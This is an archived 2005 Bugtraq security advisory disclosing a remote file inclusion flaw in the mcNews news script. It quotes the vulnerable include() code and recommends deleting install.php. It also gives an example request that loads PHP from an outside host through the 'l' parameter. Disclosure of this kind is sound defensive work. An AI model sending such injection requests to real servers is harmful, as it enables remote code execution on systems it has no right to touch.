bugtraq - PHP mcNews arbitrary file inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <e5188ccd05031616401505ed64@mail.gmail.com>
Date: Thu, 17 Mar 2005 00:40:21 +0000
From: Jonathan Whiteley <jon.whiteley@...il.com>
To: bugtraq@...urityfocus.com
Subject: PHP mcNews arbitrary file inclusion


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
   BadRoot Security Advisory 2005-#0x01
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


Thu Mar 17 2005 - 00:46 am GMT +1

Product:   mcNews <=1.3 (successfully exploited on 1.3)
Vendor:    http://www.phpforums.net/index.php?dir=dld (Home Page)
Type:      Arbitrary file inclusion
Author:    Jonathan Whiteley (Vukodlak)




Product description:
-----------------------------------

A News Management script.


Vulnerable code:
-----------------------------------

--> admin/install.php
...
33   if ($table==1)
34   {
35   include($l);
36    echo  '<a href="index.php">'.$lGoAdmin.'</a>';
37   }
...


Impact:
-----------------------------------

Anyone can inject PHP code by calling:
http://vuln-host.com/path/to/mcnews/admin/install.php?l=http://some.php/source


Solution:
-----------------------------------

Remove install.php, it's futile after first installation.


Contact:
-----------------------------------

    IRC:     irc.us.azzurra.org - #badroot - Vukodlak
    E-Mail:  jon.whiteley@...il.com
    HP:      http://www.badroot.org

Cheers

PS: Thanks to Arak for aid ;)